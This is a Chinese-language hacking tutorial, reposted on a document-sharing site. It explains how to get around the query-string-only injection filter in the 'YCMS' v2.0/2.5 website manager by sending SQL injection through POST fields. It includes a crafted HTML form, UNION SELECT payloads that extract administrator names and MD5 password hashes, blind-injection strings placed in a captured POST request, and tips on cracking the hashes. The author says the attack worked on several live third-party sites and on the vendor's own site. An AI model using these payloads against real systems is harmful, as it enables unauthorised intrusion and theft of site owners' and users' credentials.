突破“野草網(wǎng)站管理系統(tǒng)”的防注入_第1頁
突破“野草網(wǎng)站管理系統(tǒng)”的防注入_第2頁
突破“野草網(wǎng)站管理系統(tǒng)”的防注入_第3頁
突破“野草網(wǎng)站管理系統(tǒng)”的防注入_第4頁
突破“野草網(wǎng)站管理系統(tǒng)”的防注入_第5頁
已閱讀5頁,還剩8頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)

文檔簡介

突破“野草網(wǎng)站管理系統(tǒng)”的防注入

一天,偶然路過一個網(wǎng)站,習(xí)慣性的在URL后加了一個單引號,返回的卻是:“對不起!請不要在參數(shù)中包含非法字符嘗試注入!”,哇!防止注入了,不過看其信息不像是“通用防注入”,那么這個網(wǎng)站采用的是什么程序呢?用下方的標識“PoweredByYCMSV2.0”在百度中搜了一下,原來是“野草網(wǎng)站管理系統(tǒng)v2.0”,順藤摸瓜,找到“野草設(shè)計”官方網(wǎng)站,這里提供了最新的“YCMSV2.0”,嘿嘿!偶有事做了!先看一下“YCMSV2.0”是如何防注入的,在“CONN.ASP”中有這么一段代碼:

functionyecaosql()

sql_in=split("'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare","|")

ifrequest.querystring<>""then

foreachsql_getinrequest.querystring

forsql_data=0toubound(sql_in)

ifinstr(LCase(request.querystring(sql_get)),sql_in(sql_data))>0then

response.redirect("error.asp?action=back&text="&server.urlencode("對不起!請不要在參數(shù)中包含非法字符嘗試注入!"))

Response.End

endif

next

next

endif

endfunction

瞧!注入所用到的“'”、“and”、“select”等字符全在黑名單上,難怪加入了單引號會出現(xiàn)錯誤,要想注入時不用這些字符,談何容易!難道就這樣撤?等等,在上面的代碼中,“YCMSV2.0”防止的是“request.querystring”提交,這不就是一個BUG嗎?在ASP中,“Request”對象有五種獲取數(shù)據(jù)的方法:“QueryString”、“Form”、“Cookies”、“ServerVariables”和“ClientCertificate”,除了“ServerVariables”和“ClientCertificate”不太好利用之外,剩余的三個都經(jīng)?;钴S在注入代碼中,而“YCMSV2.0”只過濾了以“QueryString”方法提交的數(shù)據(jù),忽略了“Form”和“Cookies”這兩個危險分子。嘿嘿!曙光出現(xiàn)了!

用“FrontPage”打開“YCMSV2.0”,在所有文件中查找“Request.form”字符,找到的不是太多,在分析這些代碼時,我發(fā)現(xiàn)“YCMSV2.0”在獲取數(shù)據(jù)時,大多用的是“request("參數(shù)")”方法,這種方法雖然通吃“QueryString”和“Form”,但因為“YCMSV2.0”只對“QueryString”方法進行了過濾,如果提交數(shù)據(jù)采用的是POST方式,那么“request("參數(shù)")”在獲取數(shù)據(jù)時,用到的就是“FORM”方法,如此,不就繞過了“CONN.ASP”中的防注入了嗎?按照這個思路,在“YCMSV2.0”中查找“request(”,哈哈,這一次搜索到結(jié)果就多了,從中挑出一個比較好利用的文件進行測試,在“user.asp”的581行有如下代碼:

subuser_list()'用戶列表

YC("<tableframe=""void""border=""1""width=""100%""cellspacing=""0""bordercolor="""&color(0)&"""rules=""rows""cellpadding=""0""align=""center""><trheight=""24""bgcolor="""&color(2)&"""><tdalign=""center"">用戶信息</td><tdalign=""center"">注冊時間</td></tr>")

ifrequest("search")<>""then

sql="select*from[YC_user]whereuser_namelike'%"&request("word")&"%'andpass=1orderbyidDESC"

else

sql="select*from[YC_user]wherepass=1orderbyiddesc"

endif

setrs=server.createobject("adodb.recordset")

rs.opensql,conn,1,1

ifnotrs.bofandnotrs.eofthen

rs.pagesize=20

i=1

…………

pages=rs.pagecount

rs.absolutepage=mypage

dowhilenotrs.eof

YC("<trheight=""24""bgcolor="""&color(1)&"""onmouseover=""this.bgColor='"&color(2)&"';""onmouseout=""this.bgColor='"&color(1)&"';""><tdwidth=""60%""><ulclass=""list""><li>")

YC(" <ahref=""?action=show_user_data&user="&rs("user_name")&"""title=""查看["&rs("user_name")&"]的資料"">"&rs("user_name")&"</a> <ahref=""?action=user_sms_send&user="&rs("user_name")&"""title=""發(fā)送短信給["&rs("user_name")&"]"">[短信]</a></li></ul></td>")

YC("<tdwidth=""20%"">"&replacetime(rs("user_reg_date"),"3")&"</td></tr>")

…………

rs.close

setrs=nothing

endsub

這里不僅用到了“request("參數(shù)")”,而且其還會顯示查詢的結(jié)果,像這樣的注入,現(xiàn)在已經(jīng)不多見了,想不到讓偶碰到了,呵呵!先來分析一下流程,如果“request("search")”不為空,就執(zhí)行以“request("word")”為條件的查詢語句,否則,直接顯示用戶列表。用“Winsock”抓取查詢“會員列表”時的數(shù)據(jù),發(fā)現(xiàn)采用的是GET方式,且“request("search")”和“request("word")”均未出現(xiàn),既然程序不給提交,那咱就手動提交,在本地構(gòu)造一個“USER.HTM”文件,內(nèi)容如下:

<formname="form"method=postaction="/yecao/user.asp?action=user_list">

<br>注入語句:<inputname="word"type="text"style="width:75%"value="用戶名">

<inputname="search"type="hidden"value="未知">

<inputname="submit"type="submit"value="查詢"></form>

運行后的頁面如圖1,(jmdcw)(jmdcw)(jmdcw)將其中提交的“用戶名”更改為“用戶名%'or1like'%1”,點“查詢”后打開的頁面如圖2,(jmdcw)(jmdcw)沒有出現(xiàn)防注入提示,太好了,下面就利用這段代碼的顯示功能來顯示數(shù)據(jù)庫中的某些信息,有請“UNION”登場。在輸入“union”語句之前,先查一下“[yc_user]”表中的字段數(shù),共有23個,按照這個數(shù)目,構(gòu)造的union語句就是:

用戶名%'unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23from[yc_user]where1like'%1

運行后如圖3,(jmdcw)(jmdcw)只顯示了一條信息,其中的“用戶名”為“2”,說明union語句中的第二個字段可以顯示,將上面的union中的“2”替換為“user_pass”,執(zhí)行后的結(jié)果如圖4,所有用戶的MD5值全部顯示出來了,(注:因為有兩個用戶的密碼是相同的,所以顯示的就只有三個)。(jmdcw)(jmdcw)在測試了幾次后,發(fā)現(xiàn)無論是顯示“user_name”還是“user_pass”都是按升序排列,且重復(fù)的數(shù)據(jù)還不顯示,這樣用戶名與密碼兩者的次序就無法對應(yīng),由此也就不能一次拿到多人的MD5值了。拿不到多人的MD5值沒關(guān)系,只要我們能得到管理員的MD5就行。OK,先來查詢前臺管理員的MD5值,更改union語句如下:

用戶名%'unionselect1,user_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23from[yc_user]whereuser_admin='3'and1like'%1

加入“YCMSV2.0”區(qū)分“普通用戶”與“管理員”的條件“user_admin”,如果值為“3”則是前臺管理員,如果為“1”則代表普通用戶。執(zhí)行后的結(jié)果如圖5,(jmdcw)(jmdcw)得到了前臺管理員的名單,接下來更改union語句為:

用戶名%'unionselect1,user_pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23from[yc_user]whereuser_name='123456'and1like'%1

這次所顯示的就是指定用戶名的MD5值了。如圖6,好長的MD5值,足足有40位,不過不要被它的長度嚇倒了,這段MD5是由“c+a+b+c+d”這5段組成,去掉前面的c段8位,再去掉a段和d段,剩下的b段和c段就只有16位了,用MD5暴破工具破解這16位MD5就可以了。(jmdcw)(jmdcw)

下面來查詢后臺的管理員名稱及密碼,同樣,在后臺管理員表[yc_admin]中,也有一個字段來區(qū)分“超級管理員”與“普通管理員”,這個字段的名稱是“admin_type”,其值為1代表該用戶是超級管理員,為0則代表普通管理員。根據(jù)這個條件,構(gòu)造出的查詢后臺超級管理員的union語句如下:

用戶名%'unionselect1,admin_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23from[yc_admin]whereadmin_type=1unionselect*from[yc_user]where1like'%2

不知大家注意到?jīng)]有,我在上面的代碼中又增加了一條union語句,并且其的條件是“1like2”,這是為什么呢?回頭看一下“用戶列表”處的代碼,其中Select語句的條件中有這么一個“andpass=1”,這個Pass是“[yc_user]”表中的字段,而我們要查詢的[yc_admin]表中是沒有pass字段的,所以就要再加入一條“union”語句進行匹配,而其后的條件表達式為假,是為了排除無關(guān)的顯示,這條執(zhí)行的結(jié)果如圖7。有了名稱,接下來的密碼獲取就和獲取前臺管理員密碼的方法一樣了,大家試著寫一下吧!

(jmdcw)

本地突破成功,順手測試了一些采用“YCMSV2.0”的網(wǎng)站,屢試屢爽!那么官方是否也有這個漏洞呢?很不幸,官方網(wǎng)站是“YCMSV2.5”,NOBUG!為什么“YCMSV2.5”沒有這個漏洞呢?我想不是因為它彌補了防注入漏洞,而在于其取消了“用戶列表”功能。那么在“YCMSV2.5”中,都有那些地方使用POST方式提交數(shù)據(jù)呢?經(jīng)過一番點擊,發(fā)現(xiàn)“短信”及“留言”這兩個地方的嫌疑最大,OK,先從“短信”入手,在“YCMSV2.0”版的“user.asp”第820行處找到了如下代碼:

subpost_user_sms()'發(fā)送短信處理

checkgetcode()

ifrequest("to_user")<>""andrequest("content")<>""then

to_user=trim(request("to_user"))

sql="select*fromYC_userwhereuser_name='"&to_user&"'"

setrs=conn.execute(sql)

ifrs.eofandrs.bofthen

response.redirect("error.asp?action=back&text="&server.urlencode("對不起!數(shù)據(jù)庫中沒有該用戶!"))

Response.End

else

setrs=server.createobject("adodb.recordset")

sql="select*fromYC_sms"

rs.opensql,conn,1,3

rs.addnew

rs("from_user")=trim(request("from_user"))

rs("to_user")=trim(request("to_user"))

rs("title")=trim(request("title"))

rs("content")=request("content")

rs.update

YC("<script>window.location='index.asp';</script>")

endif

endif

endsub

“to_user”——短信發(fā)送對像,不知能否發(fā)給自已呢?打開用戶“控制面板”中的“發(fā)短信”窗口,在“接收人”處輸入自已的用戶名“5200”,結(jié)果出現(xiàn)了“不允許自己給自己發(fā)信件”的提示,那就發(fā)給一個不存在的用戶“jmdcw”,在發(fā)送之前,用“Winsock”監(jiān)聽當前頁,再點擊“發(fā)送”,雖然出現(xiàn)的是“對不起!數(shù)據(jù)庫中沒有該用戶!”提示,但“Winsock”已經(jīng)抓到了短信發(fā)送時的“POST”數(shù)據(jù):

POST/yecao/user.asp?action=post_user_smsHTTP/1.1

Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flash,application/vnd.ms-powerpoint,application/vnd.ms-excel,application/msword,*/*

Referer:/yecao/user.asp?action=user_sms_send

Accept-Language:zh-cn

Content-Type:application/x-www-form-urlencoded

Accept-Encoding:gzip,deflate

User-Agent:Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1;Maxthon)

Host:

Content-Length:95

Connection:Keep-Alive

Cache-Control:no-cache

Cookie:YCMS=userpass=97a55a51a100a100a55a49a97a52a56a51a50a54a102a99a98a100a55a49a50a101a98a56a99a56a97a51a99a100a49a100a57a52a56a51a50a54a102a99a98&username=29484a21050&useradmin=49&userid=54a49;YCMSonline=onlineid=127001;YCMStongji=True;ASPSESSIONIDAQBQTTDC=CMMBANMCLINECBIECDEIHAHK

to_user=jmdcw&title=zhuti&content=neirong&code=2830&Submit=%B7%A2+%CB%CD&from_user=%B4%CC%E2%AC

將抓到的數(shù)據(jù)先分門別類的填入偶的“POST提交工具”中。在前面給自已發(fā)短信時,程序雖然出現(xiàn)了限制提示,但這種限制是在本地的HTM中進行的,并不是在服務(wù)器中驗證,所以還是可以給自已發(fā)短信的,將“提交內(nèi)容”中“to_user=jmdcw”改為“to_user=5200'+and+1=1+and''='”,如果想使用不存在的用戶“jmdcw”,那么就是“to_user=jmdcw'+or+1=1+and''='”,兩者返回的信息是一樣的,還有一點就是刷新“短信發(fā)送頁”,用新的“驗證碼”替換“提交內(nèi)容”中的“code”值,執(zhí)行后的結(jié)果如圖8。(jmdcw)(jmdcw)再來測試1=2的效果,將to_user的內(nèi)容更改為to_user=5200'+and+1=2+and''=',這次執(zhí)行后的結(jié)果如圖9,(jmdcw)(jmdcw)

瞧!“1=1”和“1=2”所返回的信息明顯不同,如果將條件表達式改為select語句不就可以猜解數(shù)據(jù)庫中的信息了嗎?OK,到“YCMSV2.5”中測試。進入“用戶中心”,選擇“站內(nèi)短信管理”中的“發(fā)短信”,和在本地測試時的方法一樣,輸入一個不存在的用戶名“jmdcw”,然后用“Winsock”抓取POST數(shù)據(jù),將抓到的數(shù)據(jù)填入“POST提交工具”中,然后修改to_user值為:52cc0'+and+1=1+and''=',并更改驗證碼為刷新后的,執(zhí)行后所返回的信息是:(jmdcw)★

<head><title>Objectmoved</title></head><body><h1>ObjectMoved</h1>Thisobjectmaybefound<aHREF="?action=sms_from">here</a>.</body>

更改條件“1=1”為“1=2”,這次執(zhí)行后返回的信息是:

<head><title>Objectmoved</title></head><body><h1>ObjectMoved</h1>Thisobjectmaybefound<aHREF="error.asp?action=back&text=%E5%AF%B9%E4%B8%8D%E8%B5%B7%EF%BC%81%E6%95%B0%E6%8D%AE%E5%BA%93%E4%B8%AD%E6%B2%A1%E6%9C%89%E8%AF%A5%E7%94%A8%E6%88%B7%EF%BC%81">here</a>.</body>

★(jmdcw)

兩次返回的信息也不相同,由此看來,“YCMSV2.5”也未對POST提交進行過濾,接下來就是用“select”語句進行測試了,將提交內(nèi)容中的“to_user”的值改為:“52cc0'and+(select+asc(mid(user_name,1,1))from[yc_user]where+user_name='52cc0')=53+and''='”,判斷用戶名“52cc0”的第一個字符的ASC值是否為53,但執(zhí)行后返回的卻是錯誤信息,這是怎么回事?思來想去,忽然看到網(wǎng)站下方的版權(quán)“PoweredByYCMS”,難道v2.5版的表名與v2.0的表名不一樣?將[yc_user]更改為[ycms_user],再次提交,嘿嘿,這次返回的就和1=1所返回的信息一樣了。接下來只要更改其中的表名、字段名及條件就可以進一步的猜測了,只要有信心,管理員的MD5值也是能拿到的,偶嫌麻煩,再者目的也達到了,就到此為此吧!

測試完“短信”頁面,偶又測試了“留言”頁面,發(fā)現(xiàn)其中的“編輯留言主題”和“編輯回復(fù)留言”兩個地方同樣可以暴力猜解,原理和方法與短信中的BUG是一樣的,這里就不贅述了。

上面介紹的兩個注入點是針對“request.form”方法的,那么修改“Cookies”是否也可以注入呢?經(jīng)過一番測試,發(fā)現(xiàn)只要修改了“Cookies”中的“username”、“userid”、“userpass”這其中任一個值,就會出現(xiàn)“系統(tǒng)無法識別您的身份”提示。這是怎么回事?仔細分析相關(guān)代碼,原來只要“checklogined()=false”就會出現(xiàn)這種提示,那么在什么情況下“checklogined()=false”呢?在“function.asp”中有這么一段代碼:

functionchecklogined()

…………

iflogined=truethen

sql="selectid,user_name,user_pass,user_adminfrom[YC_user]wherepass=1andid="&userid&""

setrs=conn.execute(sql)

ifrs.eofandrs.bofthen

logined=fal

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論